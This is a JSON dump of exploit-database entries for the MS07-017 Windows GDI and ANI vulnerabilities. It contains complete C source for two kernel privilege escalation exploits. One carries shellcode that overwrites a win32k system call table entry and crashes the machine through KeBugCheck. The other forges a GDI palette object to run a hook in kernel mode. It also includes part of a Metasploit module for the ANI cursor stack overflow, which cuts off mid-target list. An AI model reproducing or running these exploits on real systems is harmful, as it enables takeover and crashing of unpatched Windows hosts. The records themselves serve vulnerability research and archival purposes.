{"exploitdb": [{"lastseen": "2016-01-31T19:04:38", "description": "MS Windows GDI Local Privilege Escalation Exploit (MS07-017). CVE-2006-5586,CVE-2006-5758,CVE-2007-0038,CVE-2007-1211,CVE-2007-1212,CVE-2007-1213,CVE-2007-12...", "published": "2007-04-08T00:00:00", "type": "exploitdb", "title": "Microsoft Windows GDI - Local Privilege Escalation Exploit MS07-017", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2007-0038", "CVE-2006-5758"], "modified": "2007-04-08T00:00:00", "id": "EDB-ID:3688", "href": "https://www.exploit-db.com/exploits/3688/", "sourceData": "#define _WIN32_WINNT 0x0500\r\n#include <windows.h>\r\n#include <shlwapi.h>\r\n#include <stdio.h>\r\n\r\n#pragma comment (lib, \"user32.lib\")\r\n#pragma comment (lib, \"gdi32.lib\")\r\n#pragma comment (lib, \"shlwapi.lib\")\r\n#pragma comment (lib, \"ntdll.lib\")\r\n\r\n\r\n\r\n/*\r\nHere is a sploit for the GDI MS07-017 Local Privilege Escalation, presented during the last blackhat conferences\r\nby Joel Ericksson. Modify the GdiTable of the current process and by calling good API's changean entry of the \r\nwin32k's SSDT by 0x2. \r\n\r\nbefore :\r\nlkd> dps bf998300 L 2\r\nbf998300 bf934921 win32k!NtGdiAbortDoc\r\nbf998304 bf94648d win32k!NtGdiAbortPath\r\n\r\nafter :\r\nlkd> dps bf998300 L 2\r\nbf998300 00000002\r\nbf998304 bf94648d win32k!NtGdiAbortPath\r\n\r\nwin32k.sys bDeleteBrush (called by DeleteObject)\r\nmov esi, [edx] ;esi=pKernelInfo\r\ncmp [esi+4], ebx ; ebx=0, we need [esi+4]>0\r\nmov eax, [edx+0Ch]\r\nmov [ebp+var_8], eax\r\nja short loc_BF80C1E7 ;jump if [esi+4] > 0\r\n\r\nloc_BF80C1E7:\r\nmov eax, [esi+24h] ; [esi+24] = addr to hijack (here win32k SSDT)\r\nmov dword ptr [eax], 2 ; !!!!!\r\n\r\nAt 0x2 we allocate memory with NtAllocateVirtualMemory and we copy our payload.\r\n\r\nTested on windows xp sp2 french last updates (before MS07-017) \r\n\r\nCoded by Ivanlef0u. \r\nhttp://ivanlef0u.free.fr\r\n\r\nref:\r\nhttp://www.microsoft.com/technet/security/bulletin/MS07-017.mspx\r\nhttp://research.eeye.com/html/alerts/zeroday/20061106.html\r\nhttp://projects.info-pull.com/mokb/MOKB-06-11-2006.html\r\nhttps://www.blackhat.com/presentations/bh-eu-07/Eriksson-Janmar/Whitepaper/bh-eu-07-eriksson-WP.pdf\r\nhttp://www.securityfocus.com/bid/20940/info\r\n*/\r\n\r\ntypedef struct\r\n{\r\n DWORD pKernelInfo;\r\n WORD ProcessID; \r\n WORD _nCount;\r\n WORD nUpper;\r\n WORD nType;\r\n DWORD pUserInfo;\r\n} GDITableEntry;\r\n\r\ntypedef enum _SECTION_INFORMATION_CLASS {\r\nSectionBasicInformation,\r\nSectionImageInformation\r\n}SECTION_INFORMATION_CLASS; \r\n\r\ntypedef struct _SECTION_BASIC_INFORMATION { // Information Class 0\r\nPVOID BaseAddress;\r\nULONG Attributes;\r\nLARGE_INTEGER Size;\r\n}SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION;\r\n\r\nextern \"C\" ULONG __stdcall NtQuerySection(\r\n\tIN HANDLE SectionHandle,\r\n\tIN SECTION_INFORMATION_CLASS SectionInformationClass,\r\n\tOUT PVOID SectionInformation,\r\n\tIN ULONG SectionInformationLength,\r\n\tOUT PULONG ResultLength OPTIONAL\r\n);\r\n\r\nextern \"C\" ULONG __stdcall NtAllocateVirtualMemory(\r\n\tIN HANDLE ProcessHandle,\r\n\tIN OUT PVOID *BaseAddress,\r\n\tIN ULONG ZeroBits,\r\n\tIN OUT PULONG AllocationSize,\r\n\tIN ULONG AllocationType,\r\n\tIN ULONG Protect\r\n);\r\n\r\ntypedef LONG NTSTATUS;\r\n\r\n#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) \r\n#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) \r\n\r\ntypedef struct _UNICODE_STRING {\r\nUSHORT Length;\r\nUSHORT MaximumLength;\r\nPWSTR Buffer;\r\n} UNICODE_STRING, *PUNICODE_STRING;\r\n\r\ntypedef enum _SYSTEM_INFORMATION_CLASS {\r\nSystemModuleInformation=11,\r\n} SYSTEM_INFORMATION_CLASS;\r\n\r\ntypedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11\r\nULONG Reserved[2];\r\nPVOID Base;\r\nULONG Size;\r\nULONG Flags;\r\nUSHORT Index;\r\nUSHORT Unknown;\r\nUSHORT LoadCount;\r\nUSHORT ModuleNameOffset;\r\nCHAR ImageName[256];\r\n} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; \r\n\r\nextern \"C\" NTSTATUS __stdcall NtQuerySystemInformation( \r\n\tIN SYSTEM_INFORMATION_CLASS SystemInformationClass,\r\n\tIN OUT PVOID SystemInformation,\r\n\tIN ULONG SystemInformationLength,\r\n\tOUT PULONG ReturnLength OPTIONAL\r\n);\r\n\r\nextern \"C\" ULONG __stdcall RtlNtStatusToDosError(\r\n NTSTATUS Status\r\n);\r\n\r\n\r\n// generic kernel payload, reboot the b0x\r\nunsigned char Shellcode[]={ \r\n0x60, //PUSHAD\r\n0x55, //PUSH EBP\r\n\r\n0x6A, 0x34,\r\n0x5B,\r\n0x64, 0x8B, 0x1B,\r\n0x8B, 0x6B, 0x10,\r\n\r\n0x8B, 0x45, 0x3C,\r\n0x8B, 0x54, 0x05, 0x78,\r\n0x03, 0xD5,\r\n0x8B, 0x5A, 0x20,\r\n0x03, 0xDD,\r\n0x8B, 0x4A, 0x18,\r\n0x49,\r\n0x8B, 0x34, 0x8B,\r\n0x03, 0xF5,\r\n0x33, 0xFF,\r\n0x33, 0xC0,\r\n0xFC,\r\n0xAC,\r\n0x84, 0xC0,\r\n0x74, 0x07,\r\n0xC1, 0xCF, 0x0D,\r\n0x03, 0xF8,\r\n0xEB, 0xF4,\r\n0x81, 0xFF, 0x1f, 0xaa ,0xf2 ,0xb9, //0xb9f2aa1f, KEBugCheck\r\n0x75, 0xE1,\r\n0x8B, 0x42, 0x24,\r\n0x03, 0xC5,\r\n0x66, 0x8B, 0x0C, 0x48,\r\n0x8B, 0x42, 0x1C,\r\n0x03, 0xC5,\r\n0x8B, 0x04 ,0x88,\r\n0x03, 0xC5,\r\n\r\n0x33, 0xDB,\r\n0xB3, 0xE5,\r\n0x53,\r\n0xFF, 0xD0,\r\n\r\n0x5D, //POP EBP\r\n0x61, //POPAD\r\n0xC3 //RET\r\n};\t\r\n\r\n\r\nULONG GetWin32kBase()\r\n{\r\n\tULONG i, Count, Status, BytesRet;\r\n\tPSYSTEM_MODULE_INFORMATION pSMI;\r\n\t\r\n\tStatus=NtQuerySystemInformation(SystemModuleInformation, pSMI, 0, &BytesRet); //allocation length\r\n\tif(Status!=STATUS_INFO_LENGTH_MISMATCH)\r\n\t\tprintf(\"Error with NtQuerySystemInformation : 0x%x : %d \\n\", Status, RtlNtStatusToDosError(Status));\r\n\t\r\n\tpSMI=(PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BytesRet);\r\n\t\r\n\tStatus=NtQuerySystemInformation(SystemModuleInformation, pSMI, BytesRet, &BytesRet);\r\n\t\r\n\tif(Status!=STATUS_SUCCESS)\r\n\t\tprintf(\"Error with NtQuerySystemInformation : 0x%x : %d \\n\", Status, RtlNtStatusToDosError(Status));\r\n\t\r\n\t/*\r\n\tThe data returned to the SystemInformation buffer is a ULONG count of the number of\r\n\thandles followed immediately by an array of \r\n\tSYSTEM_MODULE_INFORMATION.\r\n\t*/\r\n\t\r\n\tCount=*(PULONG)pSMI;\r\n\tpSMI=(PSYSTEM_MODULE_INFORMATION)((PUCHAR)pSMI+4);\r\n\t\r\n\tfor(i=0; i<Count; i++)\r\n\t{\t\r\n\t\tif(StrStr((pSMI+i)->ImageName, \"win32k.sys\"))\r\n\t\t\treturn (ULONG)(pSMI+i)->Base;\r\n\t}\r\n\t\r\n\tHeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, pSMI);\r\n\t\r\n\treturn 0;\t\r\n}\t\r\n\r\n\r\n\r\n\t\r\nULONG buff[500]={0};\r\n\t\r\nint main(int argc, char* argv[])\r\n{\r\n\tULONG i, PID, Status, Old;\r\n\tLPVOID lpMapAddress=NULL;\r\n\tHANDLE hMapFile=(HANDLE)0x10;\r\n\tGDITableEntry *gdiTable; \r\n\tSECTION_BASIC_INFORMATION SBI;\r\n\tWORD Upr;\r\n\tULONG Size=0x1000;\r\n\tPVOID Addr=(PVOID)0x2;\r\n\t\r\n\tprintf(\"Windows GDI MS07-017 Local Privilege Escalation Exploit\\nBy Ivanlef0u\\n\"\r\n\t\"http://ivanlef0u.free.fr\\n\"\r\n\t\"Be MAD!\\n\");\r\n\t\r\n\t//allocate memory at addresse 0x2\r\n \tStatus=NtAllocateVirtualMemory((HANDLE)-1, &Addr, 0, &Size, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); \r\n \tif(Status)\r\n \t\tprintf(\"Error with NtAllocateVirtualMemory : 0x%x\\n\", Status);\r\n \telse\r\n \t\tprintf(\"Addr : 0x%x OKAY\\n\", Addr);\t\r\n\t\r\n\tmemcpy(Addr, Shellcode, sizeof(Shellcode)); \r\n\t\r\n\r\n\r\n \tprintf(\"win32.sys base : 0x%x\\n\", GetWin32kBase());\r\n\t\r\n\tULONG Win32kSST=GetWin32kBase()+0x198300; //range between win32k imagebase and it's SSDT\r\n\tprintf(\"SSDT entry : 0x%x\\n\", Win32kSST); //win32k!NtGdiAbortDoc\r\n\t\r\n\t\r\n\t\r\n\tHBRUSH hBr;\r\n\thBr=CreateSolidBrush(0);\r\n\r\n\tUpr=(WORD)((DWORD)hBr>>16);\r\n\tprintf(\"0x%x\\n\", Upr);\r\n\r\n\twhile(!lpMapAddress)\r\n\t{\r\n\t\thMapFile=(HANDLE)((ULONG)hMapFile+1);\r\n\t\tlpMapAddress=MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0);\r\n\t}\r\n\r\n\tif(lpMapAddress==NULL)\r\n\t{ \r\n\t\tprintf(\"Error with MapViewOfFile : %d\\n\", GetLastError()); \r\n\t\treturn 0;\r\n\t}\r\n\r\n\tStatus=NtQuerySection(hMapFile, SectionBasicInformation, &SBI, sizeof(SECTION_BASIC_INFORMATION), 0);\r\n\tif (Status) //!=STATUS_SUCCESS (0)\r\n\t{\r\n\t\tprintf(\"Error with NtQuerySection (SectionBasicInformation) : 0x%x\\n\", Status); \r\n\t\treturn 0;\r\n\t}\r\n\r\n\tprintf(\"Handle value : %x\\nMapped address : 0x%x\\nSection size : 0x%x\\n\\n\", hMapFile, lpMapAddress, SBI.Size.QuadPart);\r\n\tgdiTable=(GDITableEntry *)lpMapAddress;\r\n\tPID=GetCurrentProcessId();\r\n\t\r\n\tfor (i=0; i<SBI.Size.QuadPart; i+=sizeof(GDITableEntry))\r\n\t{\r\n\t\tif(gdiTable->ProcessID==PID && gdiTable->nUpper==Upr) //only our GdiTable and brush\r\n\t\t{\t\r\n\r\n\t\t\tprintf(\"gdiTable : 0x%x\\n\", gdiTable);\r\n\t\t\tprintf(\"pKernelInfo : 0x%x\\n\", gdiTable->pKernelInfo);\r\n\t\t\tprintf(\"ProcessID : %d\\n\", gdiTable->ProcessID);\r\n\t\t\tprintf(\"_nCount : %d\\n\", gdiTable->_nCount);\r\n\t\t\tprintf(\"nUpper : 0x%x\\n\", gdiTable->nUpper);\r\n\t\t\tprintf(\"nType : 0x%x\\n\", gdiTable->nType );\r\n\t\t\tprintf(\"pUserInfo : 0x%x\\n\\n\", gdiTable->pUserInfo);\r\n\t\t\t\r\n\t\t\tOld=gdiTable->pKernelInfo;\r\n\t\t\r\n\t\t\tgdiTable->pKernelInfo=(ULONG)buff; //crafted buff\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tgdiTable++;\r\n\t}\r\n\r\n\tif(!DeleteObject(hBr))\r\n\t\tprintf(\"Error with DeleteObject : %d\\n\", GetLastError());\r\n\telse\r\n\t\tprintf(\"Done\\n\");\r\n\r\n\tprintf(\"Buff : 0x%x\\n\", buff);\r\n\tmemset(buff, 0x90, sizeof(buff));\r\n\t\r\n \tbuff[0]=0x1; //!=0\r\n \tbuff[0x24/4]=Win32kSST; //syscall to modifY\r\n\tbuff[0x4C/4]=0x804D7000; //kernel base, just for avoiding bad mem ptr\r\n\r\n \tif(!DeleteObject(hBr))\r\n\t\tprintf(\"Error with DeleteObject : %d\\n\", GetLastError());\t\r\n\t\t\r\n\tgdiTable->pKernelInfo=Old; //restore old value\r\n\t\r\n\t/*\t\r\n\tlkd> uf GDI32!NtGdiAbortDoc\r\n\tGDI32!NtGdiAbortDoc:\r\n\t77f3073a b800100000 mov eax,1000h\r\n\t77f3073f ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)\r\n\t77f30744 ff12 call dword ptr [edx]\r\n\t77f30746 c20400 ret 4\r\n\t*/\r\n\r\n\t__asm\r\n\t{\r\n\t\tmov eax, 0x1000\r\n\t\tmov edx,0x7ffe0300\r\n\t\tcall dword ptr [edx]\t\r\n\t}\r\n\t\r\n\treturn 0;\r\n}\r\n\r\n// milw0rm.com [2007-04-08]\r\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/3688/"}, {"lastseen": "2016-01-31T19:13:52", "description": "MS Windows GDI Local Privilege Escalation Exploit (MS07-017) 2. CVE-2006-5586,CVE-2006-5758,CVE-2007-0038,CVE-2007-1211,CVE-2007-1212,CVE-2007-1213,CVE-2007-...", "published": "2007-04-17T00:00:00", "type": "exploitdb", "title": "Microsoft Windows GDI - Local Privilege Escalation Exploit MS07-017 2", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2007-0038", "CVE-2006-5758"], "modified": "2007-04-17T00:00:00", "id": "EDB-ID:3755", "href": "https://www.exploit-db.com/exploits/3755/", "sourceData": "/*\r\nGDI Local Elevation of Privilege Vulnerability Exploit (MS07-017)\r\n\r\nCoded by Lionel d'Hauenens \r\nhttp://www.labo-asso.com\r\n\r\nDevelopment:\r\n------------\r\nDev-C++ 4.9.9.2\r\nLinked with /lib/libgdi32.a \r\n\r\nReferences:\r\n-----------\r\nhttp://www.microsoft.com/technet/security/bulletin/MS07-017.mspx\r\nhttp://research.eeye.com/html/alerts/zeroday/20061106.html\r\nhttp://www.milw0rm.com/exploits/3688 \r\nhttp://ivanlef0u.free.fr/?p=41\r\n\r\nMarch 16, 2007\r\n*/\r\n\r\n#include <stdio.h> \r\n#include <stdlib.h> \r\n#include <windows.h> \r\n\r\ntypedef enum _SECTION_INFORMATION_CLASS\r\n{\r\n SectionBasicInformation,\r\n SectionImageInformation\r\n} SECTION_INFORMATION_CLASS; \r\n \r\ntypedef struct _SECTION_BASIC_INFORMATION {\r\n ULONG Base;\r\n ULONG Attributes;\r\n LARGE_INTEGER Size;\r\n} SECTION_BASIC_INFORMATION;\r\n\r\ntypedef struct _GDI_TABLE_ENTRY\r\n{\r\n PVOID pKernelInfo;\r\n WORD ProcessID; \r\n WORD _nCount;\r\n WORD nUpper;\r\n BYTE nType;\r\n BYTE flags;\r\n PVOID pUserInfo;\r\n} GDI_TABLE_ENTRY, *PGDI_TABLE_ENTRY;\r\n\r\ntypedef DWORD (WINAPI* NTQUERYSECTION)(HANDLE, ULONG, PVOID,ULONG,PULONG); \r\nNTQUERYSECTION NtQuerySection; \r\n\r\n#define INT3 asm (\".intel_syntax noprefix\"); __asm (\"int 3\"); asm (\".att_syntax noprefix\");\r\n#define STATUS_SUCCESS 0\r\n#define PAL_TYPE 8\r\n \r\nDWORD flag_test;\r\n\r\nhook (HANDLE pal, COLORREF couleur)\r\n{\r\n // INT3\r\n // Executed code with kernel privilege\r\n asm (\".intel_syntax noprefix\");\r\n __asm (\"cli\");\r\n \r\n // it's the fiesta !!! :) \r\n \r\n __asm (\"sti\"); \r\n asm (\".att_syntax noprefix\");\r\n \r\n flag_test = 1; \r\n \r\n return (TRUE); \r\n} \r\n\r\nint main(int argc, char *argv[])\r\n{ \r\n SECTION_BASIC_INFORMATION SectionInfo; \r\n PGDI_TABLE_ENTRY pGdiEntry;\r\n PLOGPALETTE pLogPal;\r\n HANDLE hPal;\r\n PVOID OriginalPalObject;\r\n PVOID FalsePalObject; \r\n \r\n HANDLE hThread = GetCurrentThread(); \r\n DWORD OriginalThreadPriotity = GetThreadPriority (hThread); \r\n HANDLE hSection = (ULONG)0; \r\n PVOID MapFile = 0;\r\n HANDLE hProcess = (HANDLE)0xFFFFFFFF;\r\n WORD Pid = GetCurrentProcessId(); \r\n \r\n \tNtQuerySection = (NTQUERYSECTION)GetProcAddress(LoadLibrary( \"ntdll.dll\"),\"NtQuerySection\");\r\n \r\n printf (\"##########################################################\\n\"); \r\n printf (\"# GDI Local Elevation of Privilege Vulnerability Exploit #\\n\");\r\n printf (\"# All Windows 2000/XP before MS07-017 patch #\\n\");\r\n printf (\"##########################################################\\n\"); \r\n printf (\"# coded by Lionel d'Hauenens http://www.labo-asso.com #\\n\");\r\n printf (\"##########################################################\\n\\n\"); \r\n \r\n // Search handle section and mapper in virtual memory of user\r\n while ((DWORD)hSection<0xFFFF) \r\n {\r\n SectionInfo.Attributes = 0; \r\n MapFile = MapViewOfFile((HANDLE)hSection, FILE_MAP_ALL_ACCESS, 0, 0, 0); \r\n if (MapFile)\r\n {\r\n NtQuerySection((HANDLE)hSection,0,&SectionInfo,sizeof(SectionInfo),0);\r\n if (SectionInfo.Attributes == SEC_COMMIT) break; // For compatibility with win2k \r\n UnmapViewOfFile(MapFile); \r\n MapFile = 0;\r\n } \r\n hSection++;\r\n }\r\n\r\n if (!MapFile)\r\n {\r\n printf (\"Could not found shared section !\\n\");\r\n exit(0); \r\n } \r\n\r\n // Create Palette\r\n pLogPal = (PLOGPALETTE) calloc (sizeof(LOGPALETTE)+sizeof(PALETTEENTRY), 1); \r\n pLogPal->palNumEntries = 1;\r\n pLogPal->palVersion = 0x300;\r\n hPal = (HANDLE)CreatePalette(pLogPal); \r\n \r\n if (!hPal)\r\n {\r\n printf (\"Could not create palette !\\n\");\r\n exit(0); \r\n } \r\n \r\n // Search the entry of pal object \r\n OriginalPalObject = (PVOID)0; \r\n pGdiEntry = (PGDI_TABLE_ENTRY)MapFile;\r\n while ((DWORD)pGdiEntry < ((DWORD)MapFile) + SectionInfo.Size.QuadPart)\r\n {\r\n if ( pGdiEntry->ProcessID == Pid &&\r\n pGdiEntry->nType == PAL_TYPE )\r\n {\r\n // Save original pointer\r\n OriginalPalObject = (PVOID)pGdiEntry->pKernelInfo; \r\n break;\r\n } \r\n pGdiEntry++; \r\n }\r\n\r\n if (!OriginalPalObject)\r\n {\r\n printf (\"Could not find entry of Pal object !\\n\");\r\n exit(0); \r\n } \r\n \r\n // Create the false Pal object\r\n FalsePalObject = (PVOID) calloc(0x100/4,4);\r\n ((PDWORD)FalsePalObject)[0] = (DWORD)hPal; // Handle \r\n ((PDWORD)FalsePalObject)[0x14/4] = (DWORD) 1; // Availabled flag\r\n ((PVOID*)FalsePalObject)[0x3C/4] = (PVOID) &hook; // Interface GetNearestPaletteIndex \r\n \r\n printf (\"Section:\\n--------\\n\"); \r\n printf (\"Handle: 0x%08X Attributes: %08X Size: 0x%08X\\n\\n\", hSection\r\n , SectionInfo.Attributes\r\n , SectionInfo.Size.QuadPart);\r\n printf (\"Pointer of original pal object: 0x%08X\\n\", OriginalPalObject); \r\n printf (\"Address of user map: 0x%08X\\n\", MapFile); \r\n printf (\"Pointer of false pal object: 0x%08X\\n\", FalsePalObject); \r\n printf (\"Entry of GDI palette in user view: 0x%08X\\n\", MapFile+((((ULONG)hPal) & 0xFFFF)*sizeof(GDI_TABLE_ENTRY)) ); \r\n printf (\"Address of Hook(): 0x%08X\\n\\n\", &hook); \r\n\r\n //////////////////////////////////////////////////////////////////////////////\r\n ////////////////////////////////////////////////////////////////////////////// \r\n printf (\"->Test...\");\r\n flag_test = 0; \r\n SetThreadPriority (hThread, THREAD_PRIORITY_HIGHEST); \r\n \r\n // Active false Pal object \r\n pGdiEntry->pKernelInfo = FalsePalObject; \r\n \r\n GetNearestPaletteIndex (hPal, 0); //--> call hook() with kernel privilege :);\r\n \r\n // Restore original Pal object\r\n pGdiEntry->pKernelInfo = OriginalPalObject; \r\n \r\n SetThreadPriority (hThread,OriginalThreadPriotity);\r\n //////////////////////////////////////////////////////////////////////////////\r\n //////////////////////////////////////////////////////////////////////////////\r\n \r\n if (!flag_test) printf (\"ERROR !!!\\n\");\r\n else printf (\"OK :)\\n\");\r\n\r\n UnmapViewOfFile(MapFile);\r\n DeleteObject ((HANDLE)hPal);\r\n free((PVOID)pLogPal);\r\n free((PVOID)FalsePalObject); \r\n system(\"PAUSE\"); \r\n return (0); \r\n}\r\n\r\n// milw0rm.com [2007-04-17]\r\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/3755/"}, {"lastseen": "2016-01-31T19:20:36", "description": "MS Windows (.ANI) GDI Remote Elevation of Privilege Exploit (MS07-017). CVE-2006-5586,CVE-2006-5758,CVE-2007-0038,CVE-2007-1211,CVE-2007-1212,CVE-2007-1213,C...", "published": "2007-04-26T00:00:00", "type": "exploitdb", "title": "Microsoft Windows - .ANI GDI Remote Elevation of Privilege Exploit MS07-017", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2007-0038", "CVE-2006-5758"], "modified": "2007-04-26T00:00:00", "id": "EDB-ID:3804", "href": "https://www.exploit-db.com/exploits/3804/", "sourceData": "MS Windows (.ANI) GDI Remote Elevation of Privilege Exploit (MS07-017)\r\n\r\nhttps://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/3804.zip (04262007-gdi_remote_elevation_privilege_exploit_ms07_017_principal.zip)\r\n\r\n# milw0rm.com [2007-04-26]\r\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/3804/"}, {"lastseen": "2016-02-02T00:03:57", "description": "Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP). CVE-2007-0038. Remote exploit for windows platform", "published": "2010-08-12T00:00:00", "type": "exploitdb", "title": "Windows ANI LoadAniIcon Chunk Size Stack Buffer Overflow HTTP", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-0038"], "modified": "2010-08-12T00:00:00", "id": "EDB-ID:16526", "href": "https://www.exploit-db.com/exploits/16526/", "sourceData": "##\r\n# $Id: ms07_017_ani_loadimage_chunksize.rb 9984 2010-08-12 16:56:41Z jduck $\r\n##\r\n\r\n##\r\n# This file is part of the Metasploit Framework and may be subject to\r\n# redistribution and commercial restrictions. Please see the Metasploit\r\n# Framework web site for more information on licensing and terms of use.\r\n# http://metasploit.com/framework/\r\n##\r\n\r\nrequire 'msf/core'\r\n\r\nclass Metasploit3 < Msf::Exploit::Remote\r\n\tRank = GreatRanking\r\n\r\n\t#\r\n\t# This module acts as an HTTP server\r\n\t#\r\n\tinclude Msf::Exploit::Remote::HttpServer::HTML\r\n\tinclude Msf::Exploit::RIFF\r\n\r\n\tdef initialize(info = {})\r\n\t\tsuper(update_info(info,\r\n\t\t\t'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)',\r\n\t\t\t'Description' => %q{\r\n\t\t\t\t\tThis module exploits a buffer overflow vulnerability in the\r\n\t\t\t\tLoadAniIcon() function in USER32.dll. The flaw can be triggered through\r\n\t\t\t\tInternet Explorer 6 and 7 by using the CURSOR style sheet directive\r\n\t\t\t\tto load a malicious .ANI file. The module can also exploit Mozilla\r\n\t\t\t\tFirefox by using a UNC path in a moz-icon URL and serving the .ANI file\r\n\t\t\t\tover WebDAV. The vulnerable code in USER32.dll will catch any\r\n\t\t\t\texceptions that occur while the invalid cursor is loaded, causing the\r\n\t\t\t\texploit to silently fail when the wrong target has been chosen.\r\n\r\n\t\t\t\tThis vulnerability was discovered by Alexander Sotirov of Determina\r\n\t\t\t\tand was rediscovered, in the wild, by McAfee.\r\n\t\t\t},\r\n\r\n\t\t\t'Author' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t'hdm', # First version\r\n\t\t\t\t\t'skape', # Vista support\r\n\r\n\t\t\t\t\t# Firefox support, OS language independence, improved reliability\r\n\t\t\t\t\t'Solar Eclipse <solareclipse@phreedom.org>'\r\n\t\t\t\t],\r\n\t\t\t'License' => MSF_LICENSE,\r\n\t\t\t'Version' => '$Revision: 9984 $',\r\n\t\t\t'References' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t['CVE', '2007-0038'],\r\n\t\t\t\t\t['OSVDB', '33629'],\r\n\t\t\t\t\t['BID', '23194'],\r\n\t\t\t\t\t['MSB', 'MS07-017'],\r\n\t\t\t\t\t['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'],\r\n\t\t\t\t\t['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'],\r\n\t\t\t\t],\r\n\t\t\t'DefaultOptions' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t'EXITFUNC' => 'process',\r\n\t\t\t\t},\r\n\t\t\t'Payload' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t'Space' => 1024 + (rand(1000)),\r\n\t\t\t\t\t'Compat' =>\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t'ConnectionType' => '-find',\r\n\t\t\t\t\t}\r\n\t\t\t\t},\r\n\t\t\t'Platform' => 'win',\r\n\r\n\t\t\t# Automatic target tested on:\r\n\t\t\t#\r\n\t\t\t# Windows NT SP6 + IE6 SP1\r\n\t\t\t# Windows 2000 SP4 + IE6 SP1\r\n\t\t\t# Windows 2000 SP4 UR1 + IE6 SP1\r\n\t\t\t# Windows XP SP0\r\n\t\t\t# Windows XP SP1\r\n\t\t\t# Windows XP SP2\r\n\t\t\t# Windows XP SP2 + IE7\r\n\t\t\t# Windows 2003 SP0\r\n\t\t\t# Windows 2003 SP1\r\n\t\t\t# Windows 2003 SP1 + IE7\r\n\t\t\t# Windows Vista\r\n\t\t\t#\r\n\t\t\t# Windows XP SP0 + Firebird 0.7\r\n\t\t\t# Windows XP SP0 + Firefox 1.0\r\n\t\t\t# Windows XP SP0 + Firefox 1.5\r\n\t\t\t# Windows XP SP2 + Firefox 2.0\r\n\t\t\t# Windows 2003 SP1 + Firefox 2.0\r\n\t\t\t# Windows Vista + Firefox 2.0\r\n\r\n\t\t\t'Targets' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t[ '(Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista',\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t'Method' => 'automatic'\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t],\r\n\t\t\t\t\t[ 'IE6 on Windows NT, 2000, XP, 2003 (all languages)',\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t'Method' => 'jmpesp',\r\n\t\t\t\t\t\t'Ret1' => 0x0040afff, # jmp esp on NT, 2000, XP, 2003 SP0 (iexplore.exe)\r\n\t\t\t\t\t\t'Ret2' => 0x004090df # jmp esp on 2003 SP1, SP2 (iexplore.exe)\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t],\r\n\t\t\t\t\t[ 'IE7 on Windows XP SP2, 2003 SP1, SP2 (all languages)',\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t'Method' => 'jmpesp',\r\n\t\t\t\t\t\t'Ret1' => 0x00420B45, # jmp esp on XP SP2 (iexplore.exe)\r\n\t\t\t\t\t\t'Ret2' => 0x00420B45 # jmp esp on 2003 SP1, SP2 (iexplore.exe)\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t],\r\n\t\t\t\t\t[ 'IE7 and Firefox on Windows Vista (all languages)',\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t'Method' => 'partial',\r\n\t\t\t\t\t\t'Ret' => 0x700B # we change user32.dll+5879 to user32.dll+700B (jmp [ebx] in user32.dll)\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t],\r\n\t\t\t\t\t[ 'Firefox on Windows XP (English)',\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t'Method' => 'jmpesp',\r\n\t\t\t\t\t\t'Ret1' => 0x77059E48, # jmp esp on XP (comres.dll)\r\n\t\t\t\t\t\t'Ret2' => 0x77019668 # jmp esp on 2003 SP1, SP2 (comres.dll)\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t],\r\n\t\t\t\t\t[ 'Firefox on Windows 2003 (English)',\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t'Method' => 'jmpesp',\r\n\t\t\t\t\t\t'Ret1' => 0x77019668, # jmp esp on 2003 SP0 (comres.dll)\r\n\t\t\t\t\t\t'Ret2' => 0x77019668 # jmp esp on 2003 SP1, SP2 